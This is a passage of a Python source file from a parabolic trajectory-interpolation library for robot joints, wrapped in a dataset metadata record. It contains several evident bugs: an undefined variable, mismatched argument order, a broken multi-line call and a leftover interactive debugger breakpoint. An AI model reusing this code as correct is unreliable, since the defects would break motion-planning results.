[ { "alpha_fraction": 0.5084723830223083, "alphanum_fraction": 0.5444117188453674, "avg_line_length": 33.88398742675781, "blob_id": "3211a89e54be7b2548af89458a580c339b114ccc", "content_id": "5db17e6b61ed8e0bbbd985d4477759dafa59e562", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 91710, "license_type": "no_license", "max_line_length": 152, "num_lines": 2629, "path": "/parabint/interpolator.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "import numpy as np\nimport bisect\nfrom .trajectory import Ramp, ParabolicCurve, ParabolicCurvesND\nfrom .utilities import *\nfrom .checker import *\nimport random\n_rng = random.SystemRandom()\n\nimport logging\nlogging.basicConfig(format='[%(levelname)s] [%(name)s: %(funcName)s] %(message)s',\n level=logging.DEBUG)\nlog = logging.getLogger(__name__)\n\n_defaultGridRes = 50\n_gridThreshold = 8 # if there are more than _gridThreshold grid lines, try PLP first\n_defaultMinSwitch = 8e-3\n\n# Math operations\nSqrt = np.sqrt\n\n\n#\n# ND Trajectory\n#\ndef ComputeZeroVelNDTrajjectory(x0Vect, x1Vect, vmVect, amVect, delta=None):\n ndof = len(x0Vect)\n assert(ndof == len(x1Vect))\n assert(ndof == len(vmVect))\n assert(ndof == len(amVect))\n\n dVect = x1Vect - x0Vect\n\n vMin = inf\n aMin = inf\n for idof in xrange(ndof):\n if not FuzzyZero(dVect[idof], epsilon):\n vMin = min(vMin, vmVect[idof]/dVect[idof])\n aMin = min(aMin, amVect[idof]/dVect[idof])\n\n if not ((vMin < inf) and (aMin < inf)):\n curvesnd = ParabolicCurvesND()\n curvesnd.SetConstant(x0Vect, 0.0)\n return curvesnd\n\n if delta is None:\n sdProfile = _Compute1DTrajectoryWithoutDelta(0.0, 1.0, 0.0, 0.0, vMin, aMin)\n else:\n sdProfile = ComputeZeroVel1DTrajectoryWithDelta(0.0, 1.0, vMin, aMin, delta)\n\n\n curves = [ParabolicCurve() for _ in xrange(ndof)]\n for sdRamp in sdProfile:\n aVect = sdRamp.a * dVect\n v0Vect = sdRamp.v0 * dVect\n dur = sdRamp.duration\n\n for idof in xrange(ndof):\n ramp = Ramp(v0Vect[idof], aVect[idof], dur)\n curve = ParabolicCurve([ramp])\n curves[idof].Append(curve)\n\n for (i, curve) in enumerate(curves):\n curve.SetInitialValue(x0Vect[i])\n curvesnd = ParabolicCurvesND(curves)\n\n # Check before returning\n return curvesnd\n\n\ndef ComputeArbitraryVelNDTrajectory(x0Vect, x1Vect, v0Vect, v1Vect, xminVect, xmaxVect,\n vmVect, amVect, delta=None, tryHarder=False):\n ndof = len(x0Vect)\n assert(ndof == len(x1Vect))\n assert(ndof == len(v0Vect))\n assert(ndof == len(v1Vect))\n assert(ndof == len(xminVect))\n assert(ndof == len(xmaxVect))\n assert(ndof == len(vmVect))\n assert(ndof == len(amVect))\n\n dVect = x1Vect - x0Vect\n\n curves = []\n maxDuration = 0.0\n maxIndex = 0\n for idof in xrange(ndof):\n if delta is None:\n curve = _Compute1DTrajectoryWithoutDelta(x0Vect[idof], x1Vect[idof],\n v0Vect[idof], v1Vect[idof],\n vmVect[idof], amVect[idof])\n else:\n curve = _Compute1DTrajectoryWithDelta(x0Vect[idof], x1Vect[idof],\n v0Vect[idof], v1Vect[idof],\n vmVect[idof], amVect[idof], delta)\n curves.append(curve)\n if curve.duration > maxDuration:\n maxDuration = curve.duration\n maxIndex = idof\n\n log.debug(\"maxIndex = {0}\".format(maxIndex))\n if delta == 0.0:\n stretchedCurves = _RecomputeNDTrajectoryFixedDuration(curves, vmVect, amVect,\n maxIndex, tryHarder)\n else:\n stretchedCurves = _RecomputeNDTrajectoryFixedDurationWithDelta(curves, vmVect, amVect,\n maxIndex, delta, tryHarder)\n\n if len(stretchedCurves) == 0:\n return ParabolicCurvesND()\n \n newCurves = []\n for (i, curve) in enumerate(stretchedCurves):\n newCurve = ImposeJointLimitFixedDuration(curve, xminVect[i], xmaxVect[i],\n vmVect[i], amVect[i], delta=0.0)\n if newCurve.IsEmpty():\n return ParabolicCurvesND()\n newCurves.append(newCurve)\n\n # Check before returning\n return ParabolicCurvesND(newCurves)\n\n\ndef _RecomputeNDTrajectoryFixedDuration(curves, vmVect, amVect, maxIndex, tryHarder=False):\n ndof = len(curves)\n assert(ndof == len(vmVect))\n assert(ndof == len(amVect))\n assert(maxIndex < ndof)\n\n newDuration = curve[maxIndex].duration\n isPrevDurationSafe = True\n if (tryHarder):\n for idof in xrange(ndof):\n tBound = CalculateLeastUpperBoundInoperavtiveTimeInterval\n (curves[idof].x0, curves[idof].x1, curves[idof].v0, curves[idof].v1,\n vmVect[idof], amVect[idof])\n if tBound > newDuration:\n newDuration = tBound\n isPrevDurationSafe = False\n\n newCurves = []\n for idof in xrange(ndof):\n if (isPrevDurationSafe and idof == maxIndex):\n log.debug(\"joint {0} is already the slowest DOF, continue to the next DOF (if any)\".format(idof))\n continue\n\n stretchedCurve = _Stretch1DTrajectory(curve, newDuration, vmVect[idof], amVect[idof])\n if stretchedCurve.IsEmpty():\n log.debug()\n return []\n newCurves.append(stretchedCurve)\n\n assert(len(newCurves) == ndof)\n return newCurves\n\n\ndef ComputeNDTrajectoryFixedDuration(x0Vect, x1Vect, v0Vect, v1Vect, duration,\n xminVect, xmaxVect, vmVect, amVect):\n assert(duration > 0)\n\n ndof = len(x0Vect)\n assert(ndof == len(x1Vect))\n assert(ndof == len(v0Vect))\n assert(ndof == len(v1Vect))\n assert(ndof == len(xminVect))\n assert(ndof == len(xmaxVect))\n assert(ndof == len(vmVect))\n assert(ndof == len(amVect))\n\n curves = []\n for idof in xrange(ndof):\n curve = Compute1DTrajectoryFixedDuration(x0Vect[idof], x1Vect[idof],\n v0Vect[idof], v1Vect[idof],\n duration, vmVect[idof], amVect[idof])\n if curve.IsEmpty():\n return ParabolicCurvesND()\n\n newCurve = ImposeJointLimitFixedDuration(curve, xminVect[idof], xmaxVect[idof],\n vmVect[idof], amVect[idof])\n if newCurve.IsEmpty():\n return ParabolicCurvesND()\n\n curves.append(newCurve)\n\n # Check before returning\n return ParabolicCurvesND(curves)\n\n\n#\n# 1D Trajectory\n#\ndef Compute1DTrajectory(x0, x1, v0, v1, vm, am, delta=None):\n if delta is None:\n return _Compute1DTrajectoryWithoutDelta(x0, x1, v0, v1, vm, am)\n assert(delta > 0)\n return _Compute1DTrajectoryWithDelta(x0, x1, v0, v1, vm, am, delta)\n\n\ndef _Compute1DTrajectoryWithoutDelta(x0, x1, v0, v1, vm, am):\n d = x1 - x0\n dv = v1 - v0\n v0Sqr = v0*v0\n v1Sqr = v1*v1\n dvSqr = v1Sqr - v0Sqr\n\n # Calculate the displacement caused when maximally accelerate/decelerate from v0 to v1\n if (dv == 0):\n if (d == 0):\n ramp = Ramp(0, 0, 0, x0)\n return ParabolicCurve([ramp])\n else:\n dStraight = 0.0\n elif (dv > 0):\n dStraight = 0.5*dvSqr/am\n else:\n dStraight = -0.5*dvSqr/am\n\n if FuzzyEquals(d, dStraight, epsilon):\n # v1 can be reached from v0 by the acceleration am or -am\n a = am if dv > 0 else -am\n ramp = Ramp(x0, a, dv/a, x0)\n return ParabolicCurve([ramp])\n\n\n sumVSqr = v0Sqr + v1Sqr\n noViolation = True\n if (d > dStraight):\n # The acceleration of the first ramp is positive\n a0 = am\n vp = Sqrt(0.5*sumVSqr + a0*d)\n if (vp > vm + epsilon):\n noViolation = False\n else:\n # The acceleration of the first ramp is negative\n a0 = -am\n vp = -Sqrt(0.5*sumVSqr + a0*d)\n if (-vp > vm + epsilon):\n noViolation = False\n\n a0Inv = 1.0/a0\n if noViolation:\n ramp0 = Ramp(v0, a0, (vp - v0)*a0Inv, x0)\n ramp1 = Ramp(ramp0.v1, -a0, (vp - v1)*a0Inv)\n curve = ParabolicCurve([ramp0, ramp1])\n else:\n ramps = []\n h = abs(vp) - vm\n t = h*abs(a0Inv)\n if not FuzzyEquals(abs(v0), vm, epsilon):\n ramp0 = Ramp(v0, a0, (vp - v0)*a0Inv - t, x0)\n ramps.append(ramp0)\n nom = h*h\n denom = abs(a0)*vm\n newVp = vm if vp > 0 else -vm\n ramp1 = Ramp(newVp, 0.0, 2*t + nom/denom)\n ramps.append(ramp1)\n if not FuzzyEquals(abs(v1), vm, epsilon):\n ramp2 = Ramp(newVp, -a0, (vp - v1)*a0Inv - t)\n ramps.append(ramp2)\n curve = ParabolicCurve(ramps)\n\n # Check before returning\n return curve\n\n\ndef ImposeJointLimitFixedDuration(curve, xmin, xmax, vm, am, delta):\n [bmin, bmax] = curve.GetPeaks()\n if (bmin >= xmin - epsilon) and (bmax <= xmax + epsilon):\n log.debug(\"Input curve does not violate joint limits\")\n return curve\n\n duration = curve.duration\n x0 = curve.x0\n x1 = curve.EvalPos(duration)\n v0 = curve.v0\n v1 = curve.v1\n\n bt0 = inf\n bt1 = inf\n ba0 = inf\n ba1 = inf\n bx0 = inf\n bx1 = inf\n if (v0 > zero):\n bt0 = BrakeTime(x0, v0, xmax)\n bx0 = xmax\n ba0 = BrakeAccel(x0, v0, xmax)\n elif (v0 < zero):\n bt0 = BrakeTime(x0, v0, xmin)\n bx0 = xmin\n ba0 = BrakeAccel(x0, v0, xmin)\n\n if (v1 < zero):\n bt1 = BrakeTime(x1, -v1, xmax)\n bx1 = xmax\n ba1 = BrakeAccel(x1, -v1, xmax)\n elif (v1 > zero):\n bt1 = BrakeTime(x1, -v1, xmin)\n bx1 = xmin\n ba1 = BrakeAccel(x1, -v1, xmin)\n\n newCurve = ParabolicCurve()\n if (bt0 < duration) and (abs(ba0) <= am + epsilon):\n # Case IIa\n log.debug(\"Case IIa\")\n firstRamp = Ramp(v0, ba0, bt0, x0)\n if (abs(x1 - bx0) < (duration - bt0)*vm):\n tempCurve1 = Interpolate1D(bx0, x1, 0.0, v1, vm, am)\n if not tempCurve1.IsEmpty():\n if (duration - bt0 > tempCurve1.duration):\n tempCurve2 = _Stretch1DTrajectory(tempCurve1, duration - bt0, vm, am)\n if not tempCurve2.IsEmpty():\n tempbmin, tempbmax = tempCurve2.GetPeaks()\n if not ((tempbmin < xmin - epsilon) or (tempbmax > xmax + epsilon)):\n log.debug(\"Case IIa successful\")\n newCurve = ParabolicCurve([firstRamp] + tempCurve2.ramps)\n \n\n if (bt1 < duration) and (abs(ba1) <= am + epsilon):\n # Case IIb\n log.debug(\"Case IIb\")\n lastRamp = Ramp(0, ba1, bt1, bx1)\n if (abs(x0 - bx1) < (duration - bt1)*vm):\n tempCurve1 = Interpolate1D(x0, bx1, v0, 0.0, vm, am)\n if not tempCurve1.IsEmpty():\n if (duration - bt1 >= tempCurve1.duration):\n tempCurve2 = _Stretch1DTrajectory(tempCurve1, duration - bt1, vm, am)\n if not tempCurve2.IsEmpty():\n tempbmin, tempbmax = tempCurve2.GetPeaks()\n if not ((tempbmin < xmin - epsilon) or (tempbmax > xmax + epsilon)):\n log.debug(\"Case IIb successful\")\n newCurve = ParabolicCurve(tempCurve2.ramps + [lastRamp]) \n \n\n if (bx0 == bx1):\n # Case III\n if (bt0 + bt1 < duration) and (max(abs(ba0), abs(ba1)) <= am + epsilon):\n log.debug(\"Case III\")\n ramp0 = Ramp(v0, ba0, bt0, x0)\n ramp1 = Ramp(0.0, 0.0, duration - (bt0 + bt1))\n ramp2 = Ramp(0.0, ba1, bt1)\n newCurve = ParabolicCurve([ramp0, ramp1, ramp2])\n else:\n # Case IV\n if (bt0 + bt1 < duration) and (max(abs(ba0), abs(ba1)) <= am + epsilon):\n log.debug(\"Case IV\")\n firstRamp = Ramp(v0, ba0, bt0, x0)\n lastRamp = Ramp(0.0, ba1, bt1)\n if (abs(bx0 - bx1) < (duration - (bt0 + bt1))*vm):\n tempCurve1 = Interpolate1D(bx0, bx1, 0.0, 0.0, vm, am)\n if not tempCurve1.IsEmpty():\n if (duration - (bt0 + bt1) >= tempCurve1.duration):\n tempCurve2 = _Stretch1DTrajectory(tempCurve1, duration - (bt0 + bt1), vm, am)\n if not tempCurve2.IsEmpty():\n tempbmin, tempbmax = tempCurve2.GetPeaks()\n if not ((tempbmin < xmin - epsilon) or (tempbmax > xmax + epsilon)):\n log.debug(\"Case IV successful\")\n newCurve = ParabolicCurve([firstRamp] + tempCurve2.ramps + [lastRamp])\n \n\n if (newCurve.isEmpty):\n log.warn(\"Cannot solve for a bounded trajectory\")\n log.warn(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; xmin = {4}; xmax = {5}; vm = {6}; am = {7}; duration = {8}\".\\\n format(x0, x1, v0, v1, xmin, xmax, vm, am, duration))\n return newCurve\n\n newbmin, newbmax = newCurve.GetPeaks()\n if (newbmin < xmin + epsilon) or (newbmax > xmax + epsilon):\n log.warn(\"Solving finished but the trajectory still violates the bounds\")\n log.warn(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; xmin = {4}; xmax = {5}; vm = {6}; am = {7}; duration = {8}\".\\\n format(x0, x1, v0, v1, xmin, xmax, vm, am, duration))\n return ParabolicCurve()\n\n if CheckParabolicCurve(curve, xmin, xmax, vm, am, x0, x1, v0, v1) == PCR_Normal:\n log.debug(\"Successfully fixed x-bound violation\")\n return newCurve\n else:\n log.warn(\"Cannot fix x-bound violation\")\n log.warn(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; xmin = {4}; xmax = {5}; vm = {6}; am = {7}; duration = {8}\".\\\n format(x0, x1, v0, v1, xmin, xmax, vm, am, duration))\n return ParabolicCurve()\n \n \ndef _Stretch1DTrajectory(curve, vm, am, duration):\n return Compute1DTrajectoryFixedDuration(curve.x0, curve.x1, curve.v0, curve.v1, vm, am, duration)\n\n\ndef Compute1DTrajectoryFixedDuration(x0, x1, v0, v1, vm, am, duration):\n \"\"\"We want to 'stretch' this velocity profile to have a new duration of\n endTime. First, try re-interpolating this profile to have two ramps. If that\n doesn't work, try modifying the profile accordingly.\n\n Two-ramp case: let t = endTime (the new duration that we want), a0 and a1\n the new accelerations of the profile, t0 the duration of the new first ramp.\n\n Starting from\n\n d = (v0*t0 + 0.5*a0*(t0*t0)) + ((v0 + a0*t0)*t1 + 0.5*a1*(t1*t1)),\n\n where d is the displacement done by this trajectory, t1 = duration - t0,\n i.e., the duration of the second ramp. Then we can write a0 and a1 in terms\n of t0 as\n\n a0 = A + B/t0\n a1 = A - B/t1,\n\n where A = (v1 - v0)/t and B = (2d/t) - (v0 + v1). We want to get the\n velocity profile which has minimal acceleration: set the minimization\n objective to\n\n J(t0) = a0*a0 + a1*a1.\n\n We start by calculating feasible ranges of t0 due to various constraints.\n\n 1) Acceleration constraints for the first ramp:\n\n -amax <= a0 <= amax.\n\n From this, we have\n\n -amax - A <= B/t0 --- I)\n B/t0 >= amax - A. --- II)\n\n Let sum1 = -amax - A and sum2 = amax - A. We can obtain the feasible ranges\n of t0 accordingly.\n\n 2) Acceleration constraints for the second ramp:\n\n -amax <= a1 <= amax.\n\n From this, we have\n\n -amax - A <= -B/(t - t0) --- III)\n -B/(t - t0) <= amax - A. --- IV)\n\n As before, the feasible ranges of t0 can be computed accordingly.\n\n We will obtain an interval iX for each constraint X. Since t0 needs to\n satisfy all the four constraints plus the initial feasible range [0,\n endTime], we will obtain only one single feasible range for t0. (Proof\n sketch: intersection operation is associative and intersection of two\n intervals gives either an interval or an empty set.)\n\n \"\"\"\n if (duration < -epsilon):\n return ParabolicCurve()\n\n if (duration <= epsilon):\n if FuzzyEquals(x0, x1, epsilon) and FuzzyEquals(v0, v1, epsilon):\n ramp0 = Ramp(v0, 0, 0, x0)\n curve = ParabolicCurve([ramp0])\n # Check before returning\n return curve\n else:\n log.info(\"newDuration is too short for any movement to be made\")\n return ParabolicCurve()\n\n # Correct small discrepancies if any\n if (v0 > vm):\n if FuzzyEquals(v0, vm, epsilon):\n v0 = vm\n else:\n log.info(\"v0 > vm: {0} > {1}\".format(v0, vm))\n return ParabolicCurve()\n elif (v0 < -vm):\n if FuzzyEquals(v0, -vm, epsilon):\n v0 = -vm\n else:\n log.info(\"v0 < -vm: {0} < {1}\".format(v0, -vm))\n return ParabolicCurve()\n if (v1 > vm):\n if FuzzyEquals(v1, vm, epsilon):\n v1 = vm\n else:\n log.info(\"v1 > vm: {0} > {1}\".format(v1, vm))\n return ParabolicCurve()\n elif (v1 < -vm):\n if FuzzyEquals(v1, -vm, epsilon):\n v1 = -vm\n else:\n log.info(\"v1 < -vm: {0} < {1}\".format(v1, -vm))\n return ParabolicCurve()\n\n d = x1 - x0\n durInverse = 1.0/duration\n A = (v1 - v0)*durInverse\n B = (2*d*durInverse) - (v0 + v1)\n\n # A velocity profile having t = duration connecting (x0, v0) and (x1, v1)\n # will have one ramp iff \n # x1 - x0 = dStraight\n # d = 0.5*(v0 + v1)*duration\n # The above equation is actually equivalent to\n # B = 0.\n # Therefore, if B = 0 we can just interpolate the trajectory right away and return early.\n if FuzzyZero(B, epsilon):\n # giving priority to displacement and consistency between acceleration and\n # displacement\n a = 2*(x1 - x0 - v0*duration)*durInverse*durInverse; \n ramp0 = Ramp(v0, a, duration, x0)\n curve = ParabolicCurve([ramp0])\n # Check before returning\n return curve\n\n\n sum1 = -am - A\n sum2 = am - A\n C = B/sum1\n D = B/sum2\n\n # Now we need to check a number of feasible intervals of tswitch1 induced by\n # constraints on the acceleration. Instead of having a class representing an\n # interval, we use the interval bounds directly. Naming convention: iXl =\n # lower bound of interval X, iXu = upper bound of interval X.\n i0l = 0\n i0u = duration\n i1l = -inf\n i1u = inf\n i2l = -inf\n i2u = inf\n i3l = -inf\n i3u = inf\n i4l = -inf\n i4u = inf\n import IPython; IPython.embed()\n if (sum1 == 0):\n if (B == 0):\n # t0 can be anything\n pass\n else:\n i1l = inf\n elif (sum1 > 0):\n log.debug(\"sum1 > 0. This implies that duration is too short\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n else:\n i1l = C\n\n if (sum2 == 0):\n if (B == 0):\n pass\n else:\n i2l = inf\n elif (sum2 > 0):\n i2l = D\n else:\n log.debug(\"sum2 > 0. This implies that duration is too short\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n if (i1l > i2u) or (i1u < i2l):\n log.debug(\"Interval 1 and interval 2 do not have any intersection\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n else:\n i2l = max(i1l, i2l)\n i2u = min(i1u, i2u)\n\n if (sum1 == 0):\n if (B == 0):\n # t0 can be anything\n pass\n else:\n i3l = inf\n elif (sum1 > 0):\n log.debug(\"sum1 > 0. This implies that duration is too short\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n else:\n i3u = duration + C\n\n if (sum2 == 0):\n if (B == 0):\n pass\n else:\n i4l = inf\n elif (sum2 > 0):\n i4u = duration + D\n else:\n log.debug(\"sum2 > 0. This implies that duration is too short\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n if (i3l > i4u) or (i3u < i4l):\n log.debug(\"Interval 3 and interval 4 do not have any intersection\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n else:\n i4l = max(i3l, i4l);\n i4u = min(i3u, i4u);\n\n if FuzzyEquals(i2l, i4u, epsilon) or FuzzyEquals(i2u, i4l, epsilon):\n log.debug(\"Interval 2 and interval 4 intersect at a point, most likely because the given duration is actually its minimum time\")\n curve = _Compute1DTrajectoryWithoutDelta(x0, x1, v0, v1, vm, am)\n if curve.IsEmpty():\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return curve\n else:\n if FuzzyEquals(curve.duration, duration, epsilon):\n return curve\n else:\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n elif (i2l > i4u) or (i2u < i4l):\n log.debug(\"Interval 2 and interval 4 do not have any intersection\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n else:\n i4l = max(i2l, i4l)\n i4u = min(i2u, i4u)\n\n if (i0l > i4u) or (i0u < i4l):\n log.debug(\"Interval 0 and interval 4 do not have any intersection\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n else:\n i4l = max(i0l, i4l)\n i4u = min(i0u, i4u)\n\n # Now we have already obtained a range of feasible values for t0 (the\n # duration of the first ramp). We choose a value of t0 by selecting the one\n # which minimize J(t0) := (a0^2 + a1^2). \n # Let x = t0 for convenience. We can write J(x) as\n # J(x) = (A + B/x)^2 + (A - B/(t - x))^2.\n # Then we find x which minimizes J(x) by examining the roots of dJ/dx.\n [solved, t0] = SolveForT0(A, B, duration, i4l, i4u)\n if not solved:\n # Solving dJ/dx = 0 failed. We just choose the midpoint of the feasible interval\n t0 = 0.5*(i4l + i4u)\n\n t1 = duration - t0\n if (t0 == 0) or (t1 == 0):\n ramp0 = Ramp(v0, A, duration, x0)\n curve = ParabolicCurve([ramp0])\n # Check before returning\n return curve\n\n a0 = A + B/t0\n a1 = A - B/t1\n vp = v0 + a0*t0\n\n # Consistency checking\n if not FuzzyEquals(vp, v1 - a1*t1, epsilon):\n log.warn(\"Verification failed.\")\n log.warn(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n # Check velocity bound\n if (abs(vp) <= vm + epsilon):\n # The two-ramp profile works.\n ramp0 = Ramp(v0, a0, t0, x0)\n ramp1 = Ramp(vp, a1, t1)\n curve = ParabolicCurve([ramp0, ramp1])\n # Check before returning\n return curve\n \n else:\n vmNew = vm if vp > 0 else -vm\n\n if FuzzyZero(a0, epsilon) or FuzzyZero(a1, epsilon):\n log.warn(\"Velocity limit is violated but at least one acceleration is zero: a0 = {0}, a1 = {1}\".format(a0, a1))\n log.warn(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n a0inv = 1.0/a0\n a1inv = 1.0/a1\n\n dv1 = vp - vmNew\n dv2 = vmNew - v0\n dv3 = vmNew - v1\n t0Trimmed = dv2*a0inv # from vmaxNew = dx0 + a0*t0Trimmed\n t1Trimmed = -dv3*a1inv # from dx1 = vmaxNew + a1*t1Trimmed\n\n \"\"\"Idea: we cut the excessive area above the velocity limit and paste that on\n both sides of the velocity profile. We do not divide the area and paste\n it equally on both sides. Instead, we try to minimize the sum of the new\n accelerations squared:\n\n minimize a0New^2 + a1New^2.\n\n Let D2 be the area of the velocity profile above the velocity limit. We have\n\n D2 = 0.5*dt1*dv2 + 0.5*dt2*dv3.\n\n Using the relations\n\n a0New = dv2/(t0Trimmed - dt1) and\n a1New = -dv3/(t1Trimmed - dt2)\n\n we finally arrive at the equation\n\n A2/a0New + B2/a1New = C2,\n\n where A2 = dv2^2, B2 = -dv3^2, and C2 = t0Trimmed*dv2 + t1Trimmed*dv3 - 2*D2.\n\n Let x = a0New and y = a1New for convenience, we can formulate the problem as\n\n minimize(x, y) x^2 + y^2\n subject to A2/x + B2/y = C2.\n\n From the above problem, we can see that the objective function is\n actually a circle while the constraint function is a hyperbola. (The\n hyperbola is centered at (A2/C2, B2/C2)). Therefore, the minimizer is\n the point where both curves touch.\n\n Let p = (x0, y0) be the point that the two curves touch. Then\n\n (slope of the hyperbola at p)*(y0/x0) = -1,\n\n i.e., the tangent line of the hyperbola at p and the line connecting the origin and p are\n perpendicular. Solving the above equation gives us\n\n x0 = (A2 + (A2*B2*B2)^(1/3))/C2.\n\n \"\"\"\n A2 = dv2*dv2\n B2 = -dv3*dv3\n D2 = 0.5*dv1*(duration - t0Trimmed - t1Trimmed) # area of the velocity profile above the velocity limit.\n C2 = t0Trimmed*dv2 + t1Trimmed*dv3 - 2*D2\n root = (A2*B2*B2)**(1./3.)\n\n if FuzzyZero(C2, epsilon):\n # This means the excessive area is too large such that after we\n # paste it on both sides of the original velocity profile, the whole\n # profile becomes one-ramp with a = 0 and v = vmNew.\n log.debug(\"C2 == 0. Unable to fix this case.\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n C2inv = 1.0/C2\n a0 = (A2 + root)*C2inv\n if abs(a0) > am:\n if FuzzyZero(root, epsilon*epsilon):\n # The computed a0 is exceeding the bound and its corresponding\n # a1 is zero. Therefore, we cannot fix this case. This is\n # probably because the given duration is actually less than the\n # minimum duration that it can get.\n log.debug(\"|a0| > am and a1 == 0: Unable to fix this case since the given duration is too short.\")\n return ParabolicCurve()\n\n a0 = am if a0 > 0 else -am\n # Recalculate the related variable\n root = C2*a0 - A2\n\n # Now compute a1\n # Special case: a0 == 0. Then this implies vm == dx0. Reevaluate those above equations\n # leads to a1 = B2/C2\n if abs(a0) <= epsilon:\n a0 = 0;\n a1 = B2/C2;\n if (abs(a1) > am + epsilon):\n # The computed a1 is exceeding the bound while a0 being zero. This is similar to\n # the case above when |a0| > am and a1 == 0.\n log.debug(\"a0 == 0 and |a1| > am: Unable to fix this case since the given duration is too short.\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n # Recalculate the related variable\n root = C2*a0 - A2;\n \n else:\n # From the hyperbola equation, we have y = B2*x/(C2*x - A2) = B2*x/root\n if FuzzyZero(root, epsilon*epsilon):\n # Special case: a1 == 0. This implies vm == dx1. If we calculate back the value of a0,\n # we will get a0 = A2/C2 which is actually root = 0.\n a1 = 0\n a0 = A2/C2\n else:\n a1 = B2*a0/root\n if abs(a1) > am:\n # a1 exceeds the bound, try making it stays at the bound.\n a1 = am if a1 > 0 else -am\n # Recalculate the related variable\n if (C2*a1 - B2 == 0):\n # this case means a0 == 0 which shuold have been catched from above\n log.debug(\"(C2*a1 - B2 == 0) a0 shuold have been zero but a0 = %.15e\", a0)\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n a0 = A2*a1/(C2*a1 - B2)\n\n # Final check on the accelerations\n if (abs(a0) > am + epsilon) or (abs(a1) > am + epsilon):\n log.debug(\"Cannot fix acceleration bound violation\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n if FuzzyZero(a0, epsilon) and FuzzyZero(a1, epsilon):\n log.debug(\"Both accelerations are zero\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n if FuzzyZero(a0, epsilon):\n t0 = duration + dv3/a1\n t1 = duration - t0\n vp = vmNew\n\n ramp0 = Ramp(v0, a0, t0, x0)\n ramp1 = Ramp(vp, a1, t1)\n curve = ParabolicCurve([ramp0, ramp1])\n elif FuzzyZero(a1, epsilon):\n t0 = dv2/a0\n t1 = duration - t0\n vp = vmNew\n\n ramp0 = Ramp(v0, a0, t0, x0)\n ramp1 = Ramp(vp, a1, t1)\n curve = ParabolicCurve([ramp0, ramp1])\n else:\n t0 = dv2/a0\n if (t0 < 0):\n log.debug(\"t0 < 0. The given duration is not achievable with the given bounds\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n vp = vmNew\n tLastRamp = -dv3/a1\n if (tLastRamp < 0):\n log.debug(\"tLastRamp < 0. The given duration is not achievable with the given bounds\");\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n if (t0 + tLastRamp > duration):\n # Final fix\n if (A == 0):\n log.debug(\"(Final fix) A == 0. Cannot fix this case\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n t0 = (dv2 - B)/A\n if (t0 < 0):\n log.debug(\"(Final fix) t0 < 0. Cannot fix this case\")\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = 